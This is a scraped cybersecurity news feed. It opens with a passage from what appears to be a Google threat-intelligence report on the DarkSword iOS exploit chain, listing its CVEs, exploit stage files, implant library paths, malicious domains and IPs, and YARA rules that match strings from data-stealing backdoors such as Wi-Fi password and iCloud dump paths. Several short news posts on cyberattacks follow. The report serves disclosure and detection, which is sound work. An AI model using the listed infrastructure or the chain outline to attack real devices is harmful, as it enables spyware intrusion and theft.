fingerprinting logic used by PARS Defense in January 2026 and the anti-debug logic used by UNC6748 in November 2025 were likely written by those users to better meet their operational requirements. Loader All the activity we observed used effectively the same exploit loader, with some minor differences such as PARS Defense's addition of encryption. The loader manages Web Worker objects that are used by the two RCE exploits, along with state transitions throughout the RCE exploit lifecycle. The loader fetches two files for the RCE stages, named variations of rce_module.js and rce_worker.js (e.g. rce_worker_18.4.js). The iOS 18.4 exploit splits the logic between the Web Worker script and the main module, which is eval'd in the same context as the loader; the two different contexts communicate using postMessage as the RCE exploit progresses. The iOS 18.6/18.7 RCE exploit, however, contains all of the exploit logic in the worker, and the corresponding rce_module.js file just has an unused placeholder function (Figure 21). The inconsistencies surrounding the correctness of fetching the RCE stages by the loader module are intriguing. One possibility is that the errors were manually corrected by UNC6353 and PARS Defense; alternatively, it is possible that UNC6748 received the exploit chain updates prior to the other users, and the DarkSword developers subsequently fixed those bugs. // for displaying hex value function dummyy(x) { return '0x' + x.toString(16); } Figure 21: rce_module_18.7.js contents (UNC6748, November 2025) Remote Code Execution Exploits GTIG observed two different JavaScriptCore (the JavaScript engine used in WebKit and Apple's Safari browser) vulnerabilities exploited for remote code execution by DarkSword. For devices running versions of iOS prior to 18.6, DarkSword uses CVE-2025-31277, a JIT optimization/type confusion bug which was patched by Apple in iOS 18.6. For devices running iOS 18.6-18.7, DarkSword uses CVE-2025-43529, a garbage collection bug in the Data Flow Graph (DFG) JIT layer of JavaScriptCore which was patched by Apple in iOS 18.7.3 and 26.2 after it was reported by GTIG. Both exploits develop their own fakeobj/addrof primitives, and then build arbitrary read/write primitives the same way on top of them. Both vulnerabilities were directly chained with CVE-2026-20700, a bug in dyld used as a user-mode Pointer Authentication Codes (PAC) bypass to execute arbitrary code, as required by the subsequent exploit stages. This vulnerability was patched by Apple in iOS 26.3 after being reported by GTIG. Sandbox Escape Exploits Safari is designed to use multiple sandbox layers to isolate the different components of the browser where untrusted user input may be handled. DarkSword uses two separate sandbox escape vulnerabilities, first by pivoting out of the WebContent sandbox into the GPU process, and then by pivoting from the GPU process to mediaplaybackd. The same sandbox escape exploits were used regardless of which RCE exploit was needed. WebContent Sandbox Escape As previously discussed by Project Zero and others, Safari's renderer process (known as WebContent) is tightly sandboxed to limit the blast radius of any vulnerabilities it may contain, since it is the most accessible to untrusted user content. To bypass this, DarkSword fetches an exploit called sbox0_main_18.4.js or sbx0_main.js to break out of the WebContent sandbox. This exploit leverages CVE-2025-14174, a vulnerability in ANGLE where parameters were not sufficiently validated in a specific WebGL operation, leading to out-of-bounds memory operations in Safari's GPU process which the DarkSword developers use to execute arbitrary code within the GPU process. This vulnerability was reported to Google (the developers of ANGLE) by Apple and GTIG, and was patched in Safari with the release of iOS 18.7.3 and 26.2. GPU Sandbox Escape In Safari, the GPU process has more privileges than the WebContent sandbox, but still is restricted from accessing much of the rest of the system. To bypass this limitation, DarkSword uses another sandbox escape exploit, sbx1_main.js, which leverages CVE-2025-43510, a memory management vulnerability in XNU. This is a copy-on-write bug which is exploited to build arbitrary function call primitives in mediaplaybackd, a system service with a larger set of permissions than the Safari GPU process where they can run the final exploit needed. They do this by loading a copy of the JavaScriptCore runtime into the mediaplaybackd process, and executing the next stage exploit within it. This vulnerability was patched by Apple in iOS 18.7.2 and 26.1. Local Privilege Escalation and Final Payload Finally, the exploit loaded one last module, pe_main.js. This uses CVE-2025-43520, a kernel-mode race condition in XNU's virtual filesystem (VFS) implementation, which can be exploited to build physical and virtual memory read/write primitives. This vulnerability was patched by Apple in iOS 18.7.2 and 26.1. The exploit contains a suite of library classes building on top of their primitives that are used by the different post-exploitation payloads, such as Native, which provides abstractions for manipulating raw memory and calling native functions, and FileUtils, which provides a POSIX-like filesystem API. Artifacts left behind from the Webpack process applied to the analyzed GHOSTBLADE sample included file paths that show the structure on disk of these libraries (Figure 22). We assess that GHOSTBLADE was likely developed by the DarkSword developers, based on the consistency in coding styles and the tight integration between it and the library code, which is notably distinct from how GHOSTKNIFE and GHOSTSABER leveraged these libraries. We also observed additional modifications made to some of the post-exploitation payload libraries in the samples observed from PARS Defense, including additional raw memory buffer manipulation, likely used in follow-on binary modules. Additionally, the libraries in GHOSTBLADE contained a reference to a function called startSandworm() which was not implemented within it; we suspect this may be a codename for a different exploit. src/InjectJS.js src/libs/Chain/Chain.js src/libs/Chain/Native.js src/libs/Chain/OffsetsStruct.js src/libs/Driver/Driver.js src/libs/Driver/DriverNewThread.js src/libs/Driver/Offsets.js src/libs/Driver/OffsetsTable.js src/libs/JSUtils/FileUtils.js src/libs/JSUtils/Logger.js src/libs/JSUtils/Utils.js src/libs/TaskRop/Exception.js src/libs/TaskRop/ExceptionMessageStruct.js src/libs/TaskRop/ExceptionReplyStruct.js src/libs/TaskRop/MachMsgHeaderStruct.js src/libs/TaskRop/PAC.js src/libs/TaskRop/PortRightInserter.js src/libs/TaskRop/RegistersStruct.js src/libs/TaskRop/RemoteCall.js src/libs/TaskRop/Sandbox.js src/libs/TaskRop/SelfTaskStruct.js src/libs/TaskRop/Task.js src/libs/TaskRop/TaskRop.js src/libs/TaskRop/Thread.js src/libs/TaskRop/ThreadState.js src/libs/TaskRop/VM.js src/libs/TaskRop/VmMapEntry.js src/libs/TaskRop/VMObject.js src/libs/TaskRop/VmPackingParams.js src/libs/TaskRop/VMShmem.js src/loader.js src/main.js src/MigFilterBypassThread.js Figure 22: Filepath artifacts from GHOSTBLADE sample Outlook and Implications The use of both DarkSword and Coruna by a variety of actors demonstrates the ongoing risk of exploit proliferation across actors of varying geography and motivation. Google remains committed to aiding in the mitigation of this problem, in part through our ongoing participation in the Pall Mall Process, designed to build consensus and progress toward limiting the harms from the spyware industry. Together, we are focused on developing international norms and frameworks to limit the misuse of these powerful technologies and protect human rights around the world. These efforts are built on earlier governmental actions, including steps taken by the US Government to limit government use of spyware, and a first-of-its-kind international commitment to similar efforts. Acknowledgments We would like to acknowledge and thank Lookout, iVerify, Google Project-Zero, and Apple Security Engineering & Architecture team for their partnership throughout this investigation. Indicators of Compromise (IOCs) To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users. We've also uploaded a sample of GHOSTBLADE to VirusTotal. Network Indicators IOC Threat Actor Context snapshare[.]chat UNC6748 DarkSword delivery used in Saudi Arabia 62.72.21[.]10 UNC6748 GHOSTKNIFE C2 server (November 2025) 72.60.98[.]48 UNC6748 GHOSTKNIFE C2 server (November 2025) sahibndn[.]io PARS Defense DarkSword delivery used in Turkey e5.malaymoil[.]com PARS Defense DarkSword delivery used in Malaysia static.cdncounter[.]net UNC6353 DarkSword delivery via watering holes in Ukraine sqwas.shapelie[.]com UNC6353 GHOSTBLADE exfiltration server File Indicators IOC Threat Actor Context 2e5a56beb63f21d9347310412ae6efb29fd3db2d3a3fc0798865a29a3c578d35 UNC6353 Extracted GHOSTBLADE sample Detections YARA Rules rule G_Backdoor_GHOSTKNIFE_1 { meta: author = "Google Threat Intelligence Group (GTIG)" strings: $ = "server_pub_ex" $ = "client_pri_ds" $ = "getfilebyExtention" $ = "getContOfFilesForModule" $ = "carPlayConnectionState" $ = "saveRecordingApp" $ = "getLastItemBack" $ = "the inherted class" $ = "passExtetion" condition: filesize < 10MB and not (uint16be(0) == 0x504b or uint32be(0) == 0x6465780a or uint16be(0) == 0x4d5a or uint32be(0) == 0x377abcaf) and 4 of them } rule G_Backdoor_GHOSTSABER_1 { meta: author = "Google Threat Intelligence Group (GTIG)" strings: $ = "sendDeviceInfoJson" $ = "merge2AppLists" $ = "send_command_to_upper_process" $ = "ChangeStatusCheckSleepInterval" $ = "SendRegEx" $ = "evalJsResponse.json" $ = "sendSimpleUploadJsonObject" $ = "device_info_all" $ = "getPayloadForSimpleStatusRequest" condition: filesize < 10MB and not (uint16be(0) == 0x504b or uint32be(0) == 0x6465780a or uint16be(0) == 0x4d5a or uint32be(0) == 0x377abcaf) and 4 of them } rule G_Datamine_GHOSTBLADE_1 { meta: author = "Google Threat Intelligence Group (GTIG)" strings: $ = "/private/var/tmp/wifi_passwords.txt" $ = "/private/var/tmp/wifi_passwords_securityd.txt" $ = "/.com.apple.mobile_container_manager.metadata.plist" fullword $ = "X-Device-UUID: ${" $ = "/installed_apps.txt" fullword $ = "icloud_dump_" fullword condition: filesize < 10MB and not (uint16be(0) == 0x504b or uint32be(0) == 0x6465780a or uint16be(0) == 0x4d5a or uint32be(0) == 0x377abcaf) and 3 of them } rule G_Hunting_DarkSwordExploitChain_ImplantLib_FilePaths_1 { meta: author = "Google Threat Intelligence Group (GTIG)" strings: $ = "src/InjectJS.js" $ = "src/libs/Chain/Chain.js" $ = "src/libs/Chain/Native.js" $ = "src/libs/Chain/OffsetsStruct.js" $ = "src/libs/Driver/Driver.js" $ = "src/libs/Driver/DriverNewThread.js" $ = "src/libs/Driver/Offsets.js" $ = "src/libs/Driver/OffsetsTable.js" $ = "src/libs/JSUtils/FileUtils.js" $ = "src/libs/JSUtils/Logger.js" $ = "src/libs/JSUtils/Utils.js" $ = "src/libs/TaskRop/Exception.js" $ = "src/libs/TaskRop/ExceptionMessageStruct.js" $ = "src/libs/TaskRop/ExceptionReplyStruct.js" $ = "src/libs/TaskRop/MachMsgHeaderStruct.js" $ = "src/libs/TaskRop/PAC.js" $ = "src/libs/TaskRop/PortRightInserter.js" $ = "src/libs/TaskRop/RegistersStruct.js" $ = "src/libs/TaskRop/RemoteCall.js" $ = "src/libs/TaskRop/Sandbox.js" $ = "src/libs/TaskRop/SelfTaskStruct.js" $ = "src/libs/TaskRop/Task.js" $ = "src/libs/TaskRop/TaskRop.js" $ = "src/libs/TaskRop/Thread.js" $ = "src/libs/TaskRop/ThreadState.js" $ = "src/libs/TaskRop/VM.js" $ = "src/libs/TaskRop/VmMapEntry.js" $ = "src/libs/TaskRop/VMObject.js" $ = "src/libs/TaskRop/VmPackingParams.js" $ = "src/libs/TaskRop/VMShmem.js" $ = "src/MigFilterBypassThread.js" condition: any of them }

The Proliferation of DarkSword: iOS Exploit Chain Adopted by Multiple Threat Actors #cybersecurity #infosec

1 month ago 1 0 0 0
Preview
Europe's cloud minnows tell Brussels to stop big tech 'sovereignty-washing' 24 execs sign open letter demanding control-based definitions and reserved procurement Execs from 24 European cloud and digital service providers are urging the European Commission to legislate for real tech sovereignty – not the illusion of it – in the upcoming Cloud and AI Development Act (CADA).…

Europe's cloud minnows tell Brussels to stop big tech 'sovereignty-washing' #cybersecurity #infosec

1 month ago 2 0 0 0
Preview
BSI moniert Software-Sicherheit im Gesundheitswesen Schwachstellen bei Praxisverwaltungssystemen hätten zu Cyberangriffen führen können. Khakimullin Aleksandr – shutterstock.com Das Bundesamt für Sicherheit in der Informationstechnik (BSI) mahnt einen besseren Schutz sensibler Gesundheitsdaten in Computer-Anwendungen von Arztpraxen, Kliniken und in der Pflege an. Die IT-Sicherheit von Softwareprodukten im Gesundheitswesen sei “ausbaufähig”, teilte das Amt nach Tests von Standardkonfigurationen verschiedener Anwendungen mit. In einem Projekt untersucht wurden demnach unter anderem vier exemplarische Praxisverwaltungssysteme. Dabei habe sich gezeigt, dass bei drei Produkten eine Verkettung einzelner Schwachstellen einen Angriff aus dem Internet ermögliche. Konkret sei es etwa um veraltete und daher unsichere Algorithmen zur Verschlüsselung von Daten gegangen. Über die Schwachstellen seien die Hersteller informiert worden, die sie auch unverzüglich adressiert hätten. (dpa/rs)

BSI moniert Software-Sicherheit im Gesundheitswesen #cybersecurity #infosec

1 month ago 1 1 0 0
Preview
Live updates: Trump news, Senate holds hearing on 2026 Annual Worldwide Threats Assessment | CNN Politics Trump’s intelligence chiefs are testifying about the Annual Threat Assessment. At the same time, Trump’s pick to lead the Department of Homeland Security, Markwayne Mullin, has a confirmation hearing....

The intelligence community's annual threat assessment doesn't mention threats to US elections for the first time since Russia's 2016 influence operation: www.cnn.com/politics/liv...

1 month ago 4 2 0 1

This tool has already been used in distinct hacking campaigns against Ukrainians, Malaysians, Saudi and Turkish victims. If other hackers needed any more encouragement to adopt it, too, the Russian spies who used it left it fully unobfuscated with even its developers' helpful code comments legible.

1 month ago 70 41 3 1
Preview
Trump administration isn’t pushing companies to conduct cyber offense, national cyber director says National Cyber Director Sean Cairncross clarifies that the Trump administration seeks private sector partnership for threat intelligence, not offensive "hacking back" campaigns.

Sean Cairncross said the idea rather is to collaborate with the private sector in a way that helps the U.S. government take the battle to its adversaries. via @timstarks.bsky.social cyberscoop.com/national-cyb...

1 month ago 1 5 0 1
Advertisement
Post image

New blog post: Building a Pipeline for Agentic Malware Analysis

Agentic RE + malware analysis with custom skills, MCP tooling, and persistent case state to automate intial triage

Link: synthesis.to/2026/03/18/a...

Github: github.com/mrphrazer/ag...

1 month ago 5 3 0 0
Preview
Attack on Stryker's Microsoft environment wiped employee devices without malware Medical technology giant Stryker recently experienced a cyberattack where a pro-Palestinian hacktivist group, Handala, claimed responsibility for wiping tens of thousands of employee devices globally.

Stryker got WRECKED. 80k devices wiped via Intune?! No malware?! 🤨 Super sus. Admin creds gotta be locked down tighter. Still... kinda genius? 😬

1 month ago 3 2 1 0
Preview
The cyberattacks that are reshaping the Iran war State-linked and hacktivist groups have claimed a series of cyberattacks against the United States and Israel since the war with Iran began.

State-linked and hacktivist groups have claimed a series of cyberattacks against the United States and Israel since the war with Iran began.

1 month ago 16 12 1 1
Preview
China Demands Proof After Costa Rica Blames UNC2814 for ICE Cyberattack Tensions between China and Costa Rica have intensified following allegations tied to an ICE cyberattack that Costa Rican authorities say was linked to the cyberespionage group UNC2814. The dispute centers on a breach affecting Costa Rica’s state-run electricity and telecommunications provider and has quickly evolved from a domestic cybersecurity issue into a diplomatic disagreement involving competing narratives and demands for proof.  China has now publicly asked the government of Costa Rica to provide evidence supporting claims that Chinese-linked actors were behind the ICE cyberattack. The request came from Chinese Ambassador Wang Xiaoyao on Friday, one day after Costa Rican officials attributed the breach to UNC2814, a group that cybersecurity researchers have described as a suspected cyberespionage actor with ties to the People’s Republic of China.  China Requests Evidence in ICE Cyberattack Case  Ambassador Wang Xiaoyao said China wants to review any technical evidence related to the ICE cyberattack so the allegations can be verified and, if necessary, addressed through legal channels. According to the ambassador, providing proof would allow the matter to be examined under established legal frameworks rather than through political accusations.  Wang also said that China has been attempting since 2024 to engage Costa Rica in cybersecurity cooperation. The initiatives reportedly included technical consultations, professional exchanges, and other collaborative efforts, but the Chinese side claims it received no response from Costa Rican authorities.  The Chinese embassy added that it proposed using mechanisms linked to the United Nations cybercrime framework to address cybersecurity concerns. It also suggested activating a bilateral joint commission between China and Costa Rica, which, according to the embassy, has not yet convened.  Costa Rica Identifies UNC2814 as Suspected Actor  The diplomatic dispute began after Costa Rican officials revealed details of the ICE cyberattack at a press conference on March 12. Authorities said the Costa Rican Electricity Institute, known as ICE, discovered cyberespionage activity affecting its administrative email systems.  Investigators determined that the intrusion was first detected in late January. During the operation, attackers extracted approximately nine gigabytes of internal email data. Despite the breach, ICE officials stated that electricity generation and telecommunications services remained unaffected.  Marco Acuña Mora, executive president of ICE, said the incident did not disrupt the country’s critical infrastructure. He confirmed that the ICE cyberattack did not compromise sensitive customer information or interrupt services provided to residents of Costa Rica.  The Costa Rican government linked the incident to UNC2814 after receiving intelligence from Mandiant, the cybersecurity division of Google. The information was shared through Costa Rica’s national incident response system, which coordinates cybersecurity investigations involving government institutions.  Global Espionage Campaign Linked to UNC2814  Google had previously reported on the activities of UNC2814, describing the group as a cyberespionage actor it has tracked since 2017. On February 25, the company announced that it had worked with partners to disrupt a global campaign attributed to the group.  According to Google’s analysis, UNC2814 targeted telecommunications providers and government organizations across multiple regions. At the time of the disruption, confirmed intrusions had been identified in 42 countries across four continents.  Costa Rican Minister Paula Bogantes Zamora said the actor responsible for the ICE cyberattack specializes in operations targeting the telecommunications sector. She added that the group has been associated with cyberespionage activities affecting dozens of countries.  China Rejects Allegations  China has firmly rejected the accusations linking it to the ICE cyberattack. The Chinese embassy in Costa Rica said it was “deeply surprised and disappointed” by what it described as unfounded claims made by some Costa Rican officials.  In its statement, the embassy said China had not received any request for evidence or investigative cooperation from the Costa Rican government regarding the ICE cyberattack. It also stated that China has “no interest in the data of Costa Rica” and opposes all forms of cyberattacks.  The embassy further warned against politicizing cybersecurity issues. Chinese officials argued that disputes related to cyber incidents should be handled through dialogue and cooperation rather than public accusations.  The statement also included a broader diplomatic message, warning that “sacrificing relations between China and Costa Rica to please other countries does not gain respect.” 

China Demands Proof After Costa Rica Blames UNC2814 for ICE Cyberattack #cybersecurity #infosec

1 month ago 4 1 0 0
Preview
Hacking Attempt Reported at Poland’s Nuclear Research Center Initial evidence indicates Iran may be behind the attack, but officials admitted it could be a false flag.  The post Hacking Attempt Reported at Poland’s Nuclear Research Center appeared first on SecurityWeek.

Hacking Attempt Reported at Poland’s Nuclear Research Center #cybersecurity #infosec

1 month ago 1 0 0 0